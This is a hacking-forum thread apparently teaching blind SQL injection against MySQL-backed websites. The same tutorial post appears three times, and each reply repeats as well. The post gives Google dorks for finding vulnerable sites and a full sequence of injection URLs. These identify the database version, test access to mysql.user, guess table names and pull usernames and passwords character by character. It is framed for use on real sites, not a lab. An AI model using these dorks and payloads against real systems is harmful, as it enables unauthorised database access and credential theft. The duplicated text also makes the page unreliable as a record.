Login Register




The stories and information posted here are artistic works of fiction and falsehood. Only a fool would take anything posted here as fact.


Complete guide to Blind Sql injections. filter_list
Author
Message
Complete guide to Blind Sql injections. #1
[Image: 1411112wdf6ykt4.jpg]


Hello everyone it's time for another tutorial and this time it's about a blind Sql injection.
This is more advanced then an ordinary one just keep on reading and you will understand why.

Google dorks for Sql injection: (Not all of these needs to be hacked with the Blind sqli method.

PHP Code:
inurl:sql.php?id= inurl:news_view.php?id= inurl:select_biblio.php?id= inurl:humor.php?id= inurl:aboutbook.php?id= inurl:fiche_spectacle.php?id= inurl:article.php?id= inurl:show.php?id= inurl:staff_id= inurl:newsitem.php?num= inurl:readnews.php?id= inurl:top10.php?cat= inurl:historialeer.php?num= inurl:reagir.php?num= inurltray-Questions-View.php?num= inurl:forum_bds.php?num= inurl:game.php?id= inurl:view_product.php?id= inurl:newsone.php?id= inurl:sw_comment.php?id= inurl:news.php?id= inurl:avd_start.php?av inurl:communique_detail.php?id= inurl:sem.php3?id= inurl:kategorie.php4?id= inurl:news.php?id= inurl:index.php?id= inurl:faq2.php?id= inurl:show_an.php?id= inurl:review.php?id= inurl:loadpsb.php?id=

I will be using our example

PHP Code:
http://www.site.com/news.php?id=5


when we execute this, we see some page and articles on that page, pictures etc...

then when we want to test it for blind Sql injection attack

PHP Code:
http://www.site.com/news.php?id=5 and 1=1 <--- this is always true

The page loads normally, that's okey.

Now the real test.

PHP Code:
http://www.site.com/news.php?id=5 and 1=2 <--- this is false

So if some text, picture or some content is missing on returned page then that site is vulnerable to blind Sql injection.

Step 1



Get the MySQL version

To get the version in blind attack we use substring.

PHP Code:
http://www.site.com/news.php?id=5 and substring(@@version,1,1)=4

This should return TRUE if the version of MySQL is 4.

Replace 4 with 5, and if query return TRUE then the version is 5.

PHP Code:
http://www.site.com/news.php?id=5 and substring(@@version,1,1)=5

Step 2

Test if subselect works

When select don't work then we use subselect

PHP Code:
http://www.site.com/news.php?id=5 and (select 1)=1

If page loads normally then subselects work.

Then we gonna see if we have access to mysql.user

PHP Code:
http://www.site.com/news.php?id=5 and (select 1 from mysql.user limit 0,1)=1

If page loads normally we have access to mysql.user and then later we can pull some password usign load_file() function and OUTFILE.

Step 3

Check table and column names.

This part might be tricky because you have to guess.

For example

PHP Code:
http://www.site.com/news.php?id=5 and (select 1 from users limit 0,1)=1 (with limit 0,1 our query here returns 1 row of data, cause subselect returns only 1 row, this is very important.)

Then if the page loads normally without content missing, the table users exits.
If you get FALSE (some article missing), just change table name until you guess the right one.

Let's say that we have found that table name is users, now what we need is column name.

The same as table name, we start guessing. Like i said before try the common names for columns.

PHP Code:
http://www.site.com/news.php?id=5 and (select substring(concat(1,password),1,1) from users limit 0,1)=1

If the page loads normally we know that column name is password (if we get false then try common names or just guess)

Here we merge 1 with the column password, then substring returns the first character (,1,1)

Step 4

Pull data from the database.

We found table users i columns username password so we gonna pull characters from that.

PHP Code:
http://www.site.com/news.php?id=5 and ascii(substring((SELECT concat(username,0x3a,password) from users limit 0,1),1,1))>80

Ok this here pulls the first character from first user in table users.

Substring here returns first character and 1 character in length. ascii() converts that 1 character into ascii value

and then compare it with symbol greater then > .

So if the ascii character greater then 80, the page loads normally. (TRUE)

We keep trying until we get false.

PHP Code:
http://www.site.com/news.php?id=5 and ascii(substring((SELECT concat(username,0x3a,password) from users limit 0,1),1,1))>95

We get TRUE, keep on raising the value.

PHP Code:
http://www.site.com/news.php?id=5 and ascii(substring((SELECT concat(username,0x3a,password) from users limit 0,1),1,1))>98

TRUE again, higher

PHP Code:
http://www.site.com/news.php?id=5 and ascii(substring((SELECT concat(username,0x3a,password) from users limit 0,1),1,1))>99

Lets say we got a false value now.

so the first character in username is char(99). Using the ascii converter we know that char(99) is letter 'c'.

then let's check the second character.

PHP Code:
http://www.site.com/news.php?id=5 and ascii(substring((SELECT concat(username,0x3a,password) from users limit 0,1),2,1))>99

Note that i'm changed ,1,1 to ,2,1 to get the second character. (now it returns the second character, 1 character in length)


PHP Code:
http://www.site.com/news.php?id=5 and ascii(substring((SELECT concat(username,0x3a,password) from users limit 0,1),2,1))>99

True keep going.

PHP Code:
http://www.site.com/news.php?id=5 and ascii(substring((SELECT concat(username,0x3a,password) from users limit 0,1),2,1))>107

False lower number.

PHP Code:
http://www.site.com/news.php?id=5 and ascii(substring((SELECT concat(username,0x3a,password) from users limit 0,1),2,1))>104

True go higher.

PHP Code:
http://www.site.com/news.php?id=5 and ascii(substring((SELECT concat(username,0x3a,password) from users limit 0,1),2,1))>105

False! We now know that the character is 105 so if we count it with hex it's i.
We have "ci" so far.

So keep going up until you get the end. (when >0 returns false we know that we have reach the end).
[Image: qwertyr.png]

Reply

Complete guide to Blind Sql injections. #2
[Image: 1411112wdf6ykt4.jpg]


Hello everyone it's time for another tutorial and this time it's about a blind Sql injection.
This is more advanced then an ordinary one just keep on reading and you will understand why.

Google dorks for Sql injection: (Not all of these needs to be hacked with the Blind sqli method.

PHP Code:
inurl:sql.php?id= inurl:news_view.php?id= inurl:select_biblio.php?id= inurl:humor.php?id= inurl:aboutbook.php?id= inurl:fiche_spectacle.php?id= inurl:article.php?id= inurl:show.php?id= inurl:staff_id= inurl:newsitem.php?num= inurl:readnews.php?id= inurl:top10.php?cat= inurl:historialeer.php?num= inurl:reagir.php?num= inurltray-Questions-View.php?num= inurl:forum_bds.php?num= inurl:game.php?id= inurl:view_product.php?id= inurl:newsone.php?id= inurl:sw_comment.php?id= inurl:news.php?id= inurl:avd_start.php?av inurl:communique_detail.php?id= inurl:sem.php3?id= inurl:kategorie.php4?id= inurl:news.php?id= inurl:index.php?id= inurl:faq2.php?id= inurl:show_an.php?id= inurl:review.php?id= inurl:loadpsb.php?id=

I will be using our example

PHP Code:
http://www.site.com/news.php?id=5


when we execute this, we see some page and articles on that page, pictures etc...

then when we want to test it for blind Sql injection attack

PHP Code:
http://www.site.com/news.php?id=5 and 1=1 <--- this is always true

The page loads normally, that's okey.

Now the real test.

PHP Code:
http://www.site.com/news.php?id=5 and 1=2 <--- this is false

So if some text, picture or some content is missing on returned page then that site is vulnerable to blind Sql injection.

Step 1



Get the MySQL version

To get the version in blind attack we use substring.

PHP Code:
http://www.site.com/news.php?id=5 and substring(@@version,1,1)=4

This should return TRUE if the version of MySQL is 4.

Replace 4 with 5, and if query return TRUE then the version is 5.

PHP Code:
http://www.site.com/news.php?id=5 and substring(@@version,1,1)=5

Step 2

Test if subselect works

When select don't work then we use subselect

PHP Code:
http://www.site.com/news.php?id=5 and (select 1)=1

If page loads normally then subselects work.

Then we gonna see if we have access to mysql.user

PHP Code:
http://www.site.com/news.php?id=5 and (select 1 from mysql.user limit 0,1)=1

If page loads normally we have access to mysql.user and then later we can pull some password usign load_file() function and OUTFILE.

Step 3

Check table and column names.

This part might be tricky because you have to guess.

For example

PHP Code:
http://www.site.com/news.php?id=5 and (select 1 from users limit 0,1)=1 (with limit 0,1 our query here returns 1 row of data, cause subselect returns only 1 row, this is very important.)

Then if the page loads normally without content missing, the table users exits.
If you get FALSE (some article missing), just change table name until you guess the right one.

Let's say that we have found that table name is users, now what we need is column name.

The same as table name, we start guessing. Like i said before try the common names for columns.

PHP Code:
http://www.site.com/news.php?id=5 and (select substring(concat(1,password),1,1) from users limit 0,1)=1

If the page loads normally we know that column name is password (if we get false then try common names or just guess)

Here we merge 1 with the column password, then substring returns the first character (,1,1)

Step 4

Pull data from the database.

We found table users i columns username password so we gonna pull characters from that.

PHP Code:
http://www.site.com/news.php?id=5 and ascii(substring((SELECT concat(username,0x3a,password) from users limit 0,1),1,1))>80

Ok this here pulls the first character from first user in table users.

Substring here returns first character and 1 character in length. ascii() converts that 1 character into ascii value

and then compare it with symbol greater then > .

So if the ascii character greater then 80, the page loads normally. (TRUE)

We keep trying until we get false.

PHP Code:
http://www.site.com/news.php?id=5 and ascii(substring((SELECT concat(username,0x3a,password) from users limit 0,1),1,1))>95

We get TRUE, keep on raising the value.

PHP Code:
http://www.site.com/news.php?id=5 and ascii(substring((SELECT concat(username,0x3a,password) from users limit 0,1),1,1))>98

TRUE again, higher

PHP Code:
http://www.site.com/news.php?id=5 and ascii(substring((SELECT concat(username,0x3a,password) from users limit 0,1),1,1))>99

Lets say we got a false value now.

so the first character in username is char(99). Using the ascii converter we know that char(99) is letter 'c'.

then let's check the second character.

PHP Code:
http://www.site.com/news.php?id=5 and ascii(substring((SELECT concat(username,0x3a,password) from users limit 0,1),2,1))>99

Note that i'm changed ,1,1 to ,2,1 to get the second character. (now it returns the second character, 1 character in length)


PHP Code:
http://www.site.com/news.php?id=5 and ascii(substring((SELECT concat(username,0x3a,password) from users limit 0,1),2,1))>99

True keep going.

PHP Code:
http://www.site.com/news.php?id=5 and ascii(substring((SELECT concat(username,0x3a,password) from users limit 0,1),2,1))>107

False lower number.

PHP Code:
http://www.site.com/news.php?id=5 and ascii(substring((SELECT concat(username,0x3a,password) from users limit 0,1),2,1))>104

True go higher.

PHP Code:
http://www.site.com/news.php?id=5 and ascii(substring((SELECT concat(username,0x3a,password) from users limit 0,1),2,1))>105

False! We now know that the character is 105 so if we count it with hex it's i.
We have "ci" so far.

So keep going up until you get the end. (when >0 returns false we know that we have reach the end).
[Image: qwertyr.png]

Reply

Complete guide to Blind Sql injections. #3
[Image: 1411112wdf6ykt4.jpg]


Hello everyone it's time for another tutorial and this time it's about a blind Sql injection.
This is more advanced then an ordinary one just keep on reading and you will understand why.

Google dorks for Sql injection: (Not all of these needs to be hacked with the Blind sqli method.

PHP Code:
inurl:sql.php?id= inurl:news_view.php?id= inurl:select_biblio.php?id= inurl:humor.php?id= inurl:aboutbook.php?id= inurl:fiche_spectacle.php?id= inurl:article.php?id= inurl:show.php?id= inurl:staff_id= inurl:newsitem.php?num= inurl:readnews.php?id= inurl:top10.php?cat= inurl:historialeer.php?num= inurl:reagir.php?num= inurltray-Questions-View.php?num= inurl:forum_bds.php?num= inurl:game.php?id= inurl:view_product.php?id= inurl:newsone.php?id= inurl:sw_comment.php?id= inurl:news.php?id= inurl:avd_start.php?av inurl:communique_detail.php?id= inurl:sem.php3?id= inurl:kategorie.php4?id= inurl:news.php?id= inurl:index.php?id= inurl:faq2.php?id= inurl:show_an.php?id= inurl:review.php?id= inurl:loadpsb.php?id=

I will be using our example

PHP Code:
http://www.site.com/news.php?id=5


when we execute this, we see some page and articles on that page, pictures etc...

then when we want to test it for blind Sql injection attack

PHP Code:
http://www.site.com/news.php?id=5 and 1=1 <--- this is always true

The page loads normally, that's okey.

Now the real test.

PHP Code:
http://www.site.com/news.php?id=5 and 1=2 <--- this is false

So if some text, picture or some content is missing on returned page then that site is vulnerable to blind Sql injection.

Step 1



Get the MySQL version

To get the version in blind attack we use substring.

PHP Code:
http://www.site.com/news.php?id=5 and substring(@@version,1,1)=4

This should return TRUE if the version of MySQL is 4.

Replace 4 with 5, and if query return TRUE then the version is 5.

PHP Code:
http://www.site.com/news.php?id=5 and substring(@@version,1,1)=5

Step 2

Test if subselect works

When select don't work then we use subselect

PHP Code:
http://www.site.com/news.php?id=5 and (select 1)=1

If page loads normally then subselects work.

Then we gonna see if we have access to mysql.user

PHP Code:
http://www.site.com/news.php?id=5 and (select 1 from mysql.user limit 0,1)=1

If page loads normally we have access to mysql.user and then later we can pull some password usign load_file() function and OUTFILE.

Step 3

Check table and column names.

This part might be tricky because you have to guess.

For example

PHP Code:
http://www.site.com/news.php?id=5 and (select 1 from users limit 0,1)=1 (with limit 0,1 our query here returns 1 row of data, cause subselect returns only 1 row, this is very important.)

Then if the page loads normally without content missing, the table users exits.
If you get FALSE (some article missing), just change table name until you guess the right one.

Let's say that we have found that table name is users, now what we need is column name.

The same as table name, we start guessing. Like i said before try the common names for columns.

PHP Code:
http://www.site.com/news.php?id=5 and (select substring(concat(1,password),1,1) from users limit 0,1)=1

If the page loads normally we know that column name is password (if we get false then try common names or just guess)

Here we merge 1 with the column password, then substring returns the first character (,1,1)

Step 4

Pull data from the database.

We found table users i columns username password so we gonna pull characters from that.

PHP Code:
http://www.site.com/news.php?id=5 and ascii(substring((SELECT concat(username,0x3a,password) from users limit 0,1),1,1))>80

Ok this here pulls the first character from first user in table users.

Substring here returns first character and 1 character in length. ascii() converts that 1 character into ascii value

and then compare it with symbol greater then > .

So if the ascii character greater then 80, the page loads normally. (TRUE)

We keep trying until we get false.

PHP Code:
http://www.site.com/news.php?id=5 and ascii(substring((SELECT concat(username,0x3a,password) from users limit 0,1),1,1))>95

We get TRUE, keep on raising the value.

PHP Code:
http://www.site.com/news.php?id=5 and ascii(substring((SELECT concat(username,0x3a,password) from users limit 0,1),1,1))>98

TRUE again, higher

PHP Code:
http://www.site.com/news.php?id=5 and ascii(substring((SELECT concat(username,0x3a,password) from users limit 0,1),1,1))>99

Lets say we got a false value now.

so the first character in username is char(99). Using the ascii converter we know that char(99) is letter 'c'.

then let's check the second character.

PHP Code:
http://www.site.com/news.php?id=5 and ascii(substring((SELECT concat(username,0x3a,password) from users limit 0,1),2,1))>99

Note that i'm changed ,1,1 to ,2,1 to get the second character. (now it returns the second character, 1 character in length)


PHP Code:
http://www.site.com/news.php?id=5 and ascii(substring((SELECT concat(username,0x3a,password) from users limit 0,1),2,1))>99

True keep going.

PHP Code:
http://www.site.com/news.php?id=5 and ascii(substring((SELECT concat(username,0x3a,password) from users limit 0,1),2,1))>107

False lower number.

PHP Code:
http://www.site.com/news.php?id=5 and ascii(substring((SELECT concat(username,0x3a,password) from users limit 0,1),2,1))>104

True go higher.

PHP Code:
http://www.site.com/news.php?id=5 and ascii(substring((SELECT concat(username,0x3a,password) from users limit 0,1),2,1))>105

False! We now know that the character is 105 so if we count it with hex it's i.
We have "ci" so far.

So keep going up until you get the end. (when >0 returns false we know that we have reach the end).
[Image: qwertyr.png]

Reply

RE: Complete guide to Blind Sql injections. #4
Nice.
Well detailed tut with very good explanation. You might wanna add some dorks too to the tutorial.
Everything else is cool.
[Image: 2YpkRjy.png]
PM me if you need help.
My pastebin HERE. My URL Shortener HERE.

Reply

RE: Complete guide to Blind Sql injections. #5
Nice.
Well detailed tut with very good explanation. You might wanna add some dorks too to the tutorial.
Everything else is cool.
[Image: 2YpkRjy.png]
PM me if you need help.
My pastebin HERE. My URL Shortener HERE.

Reply

RE: Complete guide to Blind Sql injections. #6
Nice.
Well detailed tut with very good explanation. You might wanna add some dorks too to the tutorial.
Everything else is cool.
[Image: 2YpkRjy.png]
PM me if you need help.
My pastebin HERE. My URL Shortener HERE.

Reply

RE: Complete guide to Blind Sql injections. #7
Thanks for the reply. Some dorks added.

As always
Best regards.
[Image: qwertyr.png]

Reply

RE: Complete guide to Blind Sql injections. #8
Thanks for the reply. Some dorks added.

As always
Best regards.
[Image: qwertyr.png]

Reply

RE: Complete guide to Blind Sql injections. #9
Thanks for the reply. Some dorks added.

As always
Best regards.
[Image: qwertyr.png]

Reply

RE: Complete guide to Blind Sql injections. #10
This seems as if it has been copied and pasted.anyways good tut
we need nothing but the clothing on our backs and goodwill!

Reply